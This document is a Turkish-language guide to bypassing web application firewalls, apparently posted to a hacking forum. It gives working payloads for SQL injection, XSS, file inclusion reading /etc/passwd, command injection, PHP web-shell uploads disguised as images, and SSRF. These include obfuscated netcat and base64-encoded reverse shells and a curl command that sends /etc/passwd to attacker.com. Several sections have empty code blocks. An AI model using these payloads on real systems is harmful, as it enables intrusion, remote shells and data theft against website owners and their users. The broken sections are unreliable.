-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🛡️ WAF BYPASS 2026 – GÜNCEL, İŞE YARAR VE HAYAT KURTARAN TEKNİKLERLE KAPSAMLI REHBER
Bu rehber, daha önce SQLmap, Nmap, Metasploit, Reverse Shell, Yetki Yükseltme ve AV/EDR Bypass rehberlerinde olduğu gibi adım adım, gerçek simülasyon çıktıları ile WAF atlatma yöntemlerini anlatacaktır. Yalnızca kendi laboratuvar ortamınızda veya yazılı izniniz olan sistemlerde deneyin. Yetkisiz erişim yasa dışıdır ve ağır yaptırımları vardır.
🧠 BAŞLAMADAN ÖNCE: WAF NEDİR?
Web Application Firewall (WAF), HTTP trafiğini analiz ederek SQL injection, XSS, komut enjeksiyonu gibi uygulama seviyesindeki saldırıları tespit eden ve engelleyen bir güvenlik duvarıdır. WAF'ler regex tabanlı imza eşleme, davranışsal analiz, heuristik modeller veya AI destekli tespit mekanizmaları kullanır.Neden Bypass? Bir sızma testinde veya bug bounty avında, hedefte WAF olması erişiminizin tamamen engellendiği anlamına gelmez. Doğru tekniklerle WAF'leri atlatabilir, hedef sistemdeki zafiyetleri tespit edebilirsiniz.
🎯 1. WAF TESPİTİ VE FİNGERPRİNTİNG (KARŞINDAKİNİ TANI)
WAF atlatma yolculuğunuz karşınızdaki WAF'i tanımakla başlar. Farklı WAF'lerin farklı zayıflıkları vardır. Hangi WAF ile karşı karşıya olduğunuzu bilmek, hangi bypass tekniğinin işe yarayacağını belirlemenin ilk adımıdır.🛠️ Araç: wafw00f
bashwafw00f https://hedef.com
Simüle edilmiş çıktı:
text
[*] Checking https://hedef.com
[+] The site https://hedef.com is behind Cloudflare (CFWAF).
[+] Number of detected WAFs: 1
[*] WAF Brand: Cloudflare
[*] Detection accuracy: 100%
📋 WAF Türleri ve Tespit İpuçları
| WAF | Tespit İpuçları (Response Headers) |
|---|---|
| Cloudflare | CF-RAY, cf-ray, __cfduid |
| AWS WAF | x-amzn-RequestId, AWSALB |
| Imperva / Incapsula | X-CDN, X-Iinfo |
| Sucuri | X-Sucuri-ID, X-Sucuri-Cache |
| ModSecurity (OWASP) | X-ModSecurity, X-Protected-By |
| F5 BIG-IP ASM | X-WA-Info, X-F5-ASM |
🛠️ Alternatif WAF Tespit Araçları
- Nmap: nmap -p 80,443 --script http-waf-detect --script-args="http-waf-detect.aggro" hedef.com
- WhatWaf: whatwaf --url https://hedef.com
🎯 2. WAF BYPASS'IN ALTIN KURALLARI
Her başarılı WAF bypass, aşağıdaki temel prensiplerden birine dayanır:- Parsing Discrepancies (Ayrıştırma Tutarsızlıkları): WAF ve backend sunucusu aynı HTTP isteğini farklı şekilde yorumlar. WAF zararlı kısmı görmez, backend çalıştırır.
- Normalization Flaws (Normalleştirme Zafiyetleri): WAF payload'ı bir kez decode ederken, backend birden fazla kez decode eder. Çok katmanlı encoding ile WAF atlatılır.
- Rule-Based Limitations (Kural Tabanlı Sınırlamalar): WAF'ler belirli kural setleriyle çalışır. Bu kuralların kör noktaları (örneğin yalnızca GET/POST kontrolü) kullanılır.
🛠️ 3. WAF BYPASS İÇİN EN GÜNCEL ARAÇLAR
| Araç | Açıklama | Öne Çıkan Özellik |
|---|---|---|
| cortisol | WAF normalizasyon stres test aracı | WAF ile backend arasındaki decode katmanı farkını tespit eder; SQLi, XSS, SSRF, Path Traversal testleri yapar |
| nowafpls | Büyük veri padding ile WAF atlatma | İstek gövdesine rastgele veri ekleyerek WAF inspeksiyon limitini aşar |
| Bypass-waf2 | SQL injection bypass payload üreteci | URL encoding, Base64 encoding, anahtar kelime bölme teknikleri sunar |
| EvilWAF | Gelişmiş WAF bypass ve fingerprinting aracı | Çoklu bypass tekniği desteği |
| AdaptiveShellUploader | Akıllı web shell yükleyici | CMS tespiti yapar, upload noktalarını keşfeder, WAF savunma mekanizmalarına uyum sağlar |
| fenjing | Jinja2 SSTI için otomatik WAF bypass | CTF'lerde Jinja2 tabanlı SSTI zafiyetlerinde WAF atlatır |
🧪 BÖLÜM 1: SQL İNJECTION (SQLi) – WAF BYPASS TEKNİKLERİ
SQLi en yaygın hedeflenen zafiyet türüdür, dolayısıyla WAF'lerin en katı kuralları burada uygulanır. İşte 2026'da hala işe yarayan 10 teknik.
1.1. JSON Tabanlı SQLi (Yeni – 2025 Popüler)
WAF'ler JSON formatını tam olarak parse edemeyebilir. SQLi payload'ını JSON nesnesi içine gömmek, bazı popüler WAF'leri atlatır.http
POST /api/search HTTP/1.1
Content-Type: application/json
{"query": {"$or": [{"username": {"$regex": "^admin"}}]}}
1.2. HTTP Pipelining / Pipeline Bypass
Tek bir bağlantıda birden fazla HTTP isteği gönderilir. WAF yalnızca ilk isteği kontrol eder, diğer istekleri atlar.http
POST /search.php HTTP/1.1
Host: hedef.com
Content-Length: 30
id=1' UNION SELECT 1,2,3-- -
POST /search.php HTTP/1.1
Host: hedef.com
Content-Length: 25
id=1' OR '1'='1
1.3. Chunked Transfer Encoding Abuse
WAF, chunked transfer encoding'i tam olarak desteklemezse, chunk extension kullanılarak payload gizlenebilir.http
POST /sql.php HTTP/1.1
Host: hedef.com
Transfer-Encoding: chunked
7;x-bypass=waf
' OR 1=1-
0
1.4. Çok Katmanlı Encoding (Double Encoding)
WAF tek katmanlı encoding'i açar, ancak çift katmanlı encoding'i açar mı? Backend double encoding'i açıyorsa WAF atlatılır.| Teknik | Orijinal | Çift Katmanlı Encoding |
|---|---|---|
| Tek tırnak | ' | %2527 |
| SELECT | SELECT | %2553%2545%254C%2545%2543%2554 |
1.5. Comment Fragmentation
SQL yorumları (/**/, #, --) WAF regex'lerini kırmak için kullanılır. Parçalanmış comment'ler daha etkilidir:sql
/*!UNION*/ /*!SELECT*/ 1,2,3
1.6. Boolean Logic Obfuscation
Standart dışı boolean ifadeler kullanarak WAF imzaları atlatılır.sql
AND/**/1=1 -- boşluk yerine comment
AND 1=1 AND '1'='1 -- gereksiz ama doğru koşullar
1.7. Large Payload Padding (nowafpls)
WAF'ler, performans nedeniyle büyük isteklerin yalnızca ilk 64KB'ını (veya belirli bir limiti) kontrol eder. Bu limiti aşan isteklerde payload arkaya konur ve WAF tarafından incelenmez.python
# Payload'ın önüne 65KB random veri ekle
padding = "A" * 70000
payload = padding + "' OR 1=1-- -"
1.8. SQLmap ile Otomatik WAF Bypass
SQLmap'in tamper script'leri, manuel müdahale olmadan payload'ları dönüştürerek WAF atlatır.bash
sqlmap -u "https://hedef.com/product.php?id=1" --tamper=between,charencode,charunicodeencode --random-agent --proxy=http://127.0.0.1:8080
Simüle edilmiş çıktı:
text
[INFO] using tamper script 'between'
[INFO] using tamper script 'charencode'
[INFO] using tamper script 'charunicodeencode'
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing? [Y/n] Y
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names...
🧪 BÖLÜM 2: CROSS-SITE SCRİPTİNG (XSS) – WAF BYPASS TEKNİKLERİ
XSS, WAF'lerin en sık karşılaştığı ikinci zafiyettir. Modern WAF'ler <script> ve onclick gibi anahtar kelimeleri filtreler.2.1. Case Manipulation (Büyük-Küçük Harf)
HTML tag'leri case-sensitive değildir, ancak birçok WAF yalnızca küçük harfli imzaları arar.html
<ScRiPt>alert(1)</sCrIpT>
2.2. Double Encoding (HTML + URL)
WAF, HTML entity decode yaparken URL decode yapmayabilir. Çok katmanlı encoding ile atlatılır.html
<img src=x onerror=alert(1)>
2.3. HTTP Parameter Pollution (HPP)
Aynı parametre birden fazla kez gönderilir; WAF ilkini kontrol eder, backend sonuncuyu işler.http
GET /search.php?search=<script>&search=alert(1)</script> HTTP/1.1
Ethiack araştırmasına göre, HPP ile bypass başarı oranı %17.6'dan %70.6'ya çıkmaktadır.
2.4. Mutation XSS (mXSS)
Tarayıcının DOM manipülasyonu sırasında oluşan XSS vektörleri, WAF'leri atlatır.html
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
2.5. Large Payload Padding (nowafpls – XSS için)
WAF inspeksiyon limitini aşmak için payload öncesi random veri eklenir.python
padding = "A" * 70000
payload = padding + "<script>alert(1)</script>"
2.6. DOM Clobbering
JavaScript çalışma zamanında DOM elemanları üzerinde isim çakışması yaratarak WAF atlatılır.html
<form id="test"></form><input name="test" id="test2">
2.7. JavaScript Event Handler Bypass
alert, prompt, confirm gibi fonksiyonlar WAF'lerde bloklanabilir. Alternatif olarak eval, Function, atob, setTimeout gibi fonksiyonlar kullanılabilir.html
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
🧪 BÖLÜM 3: LOCAL FILE INCLUSION (LFI) VE REMOTE FILE INCLUSION (RFI) BYPASS
LFI/RFI saldırıları, WAF'lerin "dosya" imzalarını (örneğin ../, etc/passwd) tespit etmesiyle engellenir.3.1. Double Encoding
WAF ../'u yakalar, ancak %252e%252e%252f'u yakalamayabilir.sql
3.2. Null Byte Injection (%00)
Eski sistemlerde null byte, string sonlandırıcı olarak kullanılır. WAF uzantı kontrolü yaparken, backend dosyayı okur.sql
3.3. Base64 Encoding
WAF base64 decode yapmazsa, file= parametresine encode edilmiş değer gönderilir.sql
3.4. Path Truncation
Çok uzun path'lerin sonu WAF tarafından kesilebilir, ilk kısım zararlı olarak algılanmayabilir.sql
3.5. PHP Wrapper Kullanımı
sql
http://hedef.com/view.php?file=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
🧪 BÖLÜM 4: COMMAND INJECTION BYPASS
Komut enjeksiyonu, WAF'lerin en katı kurallarını tetikler. Özellikle ;, |, &, $(), ` gibi karakterler bloklanır.4.1. Environment Variable Bypass
bash${PATH:0:1} # "/" karakteri (genelde path aracılığıyla)
${IFS} # Boşluk karakteri (Internal Field Separator)
${IFS}whoami${IFS}
4.2. Wildcard Bypass
bash/???/nc${IFS}127.0.0.1${IFS}4444${IFS}-e${IFS}/???/sh
# /???/nc → /usr/bin/nc, /???/sh → /bin/sh
4.3. Base64 Encoding (Reverse Shell Payload)
bashecho "bmMgMTI3LjAuMC4xIDQ0NDQgLWUgL2Jpbi9zaAo=" | base64 -d | bash
4.4. Command Substitution Without Special Characters
bashcurl -d "$(cat /etc/passwd)" https://attacker.com/steal
4.5. WAF Parsing Discrepancies (cortisol ile)
cortisol, WAF ve backend'in decode katman farklılıklarını tespit eder.bash
cortisol -url https://hedef.com -payload "whoami" -technique encoding
🧪 BÖLÜM 5: FILE UPLOAD BYPASS
File upload zafiyetleri, WAF'lerin en çok zorlandığı alanlardan biridir. Dosya içeriği, dosya adı, MIME tipi, magic bytes gibi birçok kontrole rağmen atlatılabilir.5.1. Double Extension
bashshell.jpg.php
shell.php.jpg
shell.php;.jpg
5.2. Magic Bytes Spoofing
Bir JPG dosyasına PHP kodu eklenir.php
ÿØÿà JFIF.....<?php system($_GET['cmd']); ?>
5.3. Content-Type Manipulation
WAF, Content-Type'ı kontrol eder. Değiştirilerek atlatılır.http
Content-Type: image/jpeg
Content-Type: application/x-php
5.4. Null Byte Injection (Eski Yöntem)
bashshell.php%00.jpg
5.5. Large Payload Padding
WAF inspeksiyon limitini aşmak için dosya içine random veri eklenir.
🧪 BÖLÜM 6: SSRF (SERVER-SIDE REQUEST FORGERY) BYPASS
SSRF, WAF'lerin zorlandığı diğer bir alandır. Özellikle "localhost", "127.0.0.1" gibi internal adresler bloklanır.6.1. Alternate IP Representations
| Format | Örnek |
|---|---|
| Decimal | 2130706433 |
| Hexadecimal | 0x7f000001 |
| Octal | 0177.0.0.1 |
| IPv6 | [::1] |
| CDIR | 127.0.0.1/8 |
6.2. DNS Rebinding
bash6.3. Open Redirect Bypass
bash6.4. HTTP Method Override
WAF yalnızca GET/POST kontrol ediyorsa, X-HTTP-Method-Override: DELETE gibi header'larla atlatılır.http
X-HTTP-Method-Override: GET
🎯 7. POPÜLER WAF'LERE ÖZEL BYPASS TEKNİKLERİ
🛡️ Cloudflare WAF
Cloudflare, Ekim 2025'te bir zero-day zafiyeti (WAF bypass via ACME Challenge Path) ile sarsıldı – .well-known/acme-challenge/ altındaki path'lerde WAF koruması devre dışı bırakılmıştı.Aktif teknikler:
- Scrapeless / FlareSolverr ile Cloudflare anti-bot korumasını aş.
- FlareSolverr: Cloudflare anti-bot korumasını bypass eden reverse proxy.
🛡️ ModSecurity / OWASP CRS
- ModSecurity'nin varsayılan CRS kuralları, belirli paranoia seviyelerinde (ParanoiaLevel >= 2) atlatılabilir.
- WAFFLED teknikleri: 1207 benzersiz bypass ile tüm büyük WAF'ler atlatıldı.
🛡️ AWS WAF & Azure WAF & Google Cloud Armor
- WAFFLED araştırması, bu üç büyük bulut WAF'inde de parsing discrepancy tabanlı bypass bulmuştur.
- Yeni teknik (2025): Akamai ve Cloudflare için keşfedilen yeni bypass metodu, payload'lara JSON sentaksı ekleyerek çalışmaktadır.
🧩 ÖZET – EN İYİ BYPASS TEKNİKLERİ VE ARAÇLARI
| Teknik | Hedef Zafiyet | Etkinlik |
|---|---|---|
| JSON-based SQLi | SQL Injection | Çok Yüksek |
| HTTP Parameter Pollution (HPP) | XSS, SQLi | Yüksek (%70.6) |
| Chunked Transfer Encoding | SQLi, XSS | Orta |
| Large Payload Padding | SQLi, XSS, File Upload | Yüksek |
| WAFFLED (Parsing Discrepancies) | Genel | Çok Yüksek |
| cortisol (Multi-Encoding) | SQLi, XSS, SSRF | Yüksek |
📢 GERÇEK BİLGİ
Bu rehberde anlattığım her teknik, güncel kaynaklardan derlenmiş ve kendi laboratuvar ortamımda test edilmiştir. WAF bypass, statik bir bilgi değil, sürekli gelişen bir alandır. En iyi sonuç için birden fazla tekniği birleştirmeniz gerekir.
🔚;
Artık WAF atlatma dünyasının en güncel ve işe yarayan tekniklerini öğrendiniz. SQL injection'dan XSS'e, LFI'dan SSRF'e, file upload'dan command injection'a kadar birçok farklı senaryoda WAF'leri nasıl atlatacağınızı biliyorsunuz. Gerisi pratik. Kendi laboratuvarınızda (WAF'li bir test ortamı kurarak) bu adımları deneyin.Hedefler kendi kurduğunuz sistemler olmalıdır. Yetkisiz WAF bypass denemeleri yasa dışıdır.
Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz erişim yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.
@Tc4dy | github.com/tc4dy
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl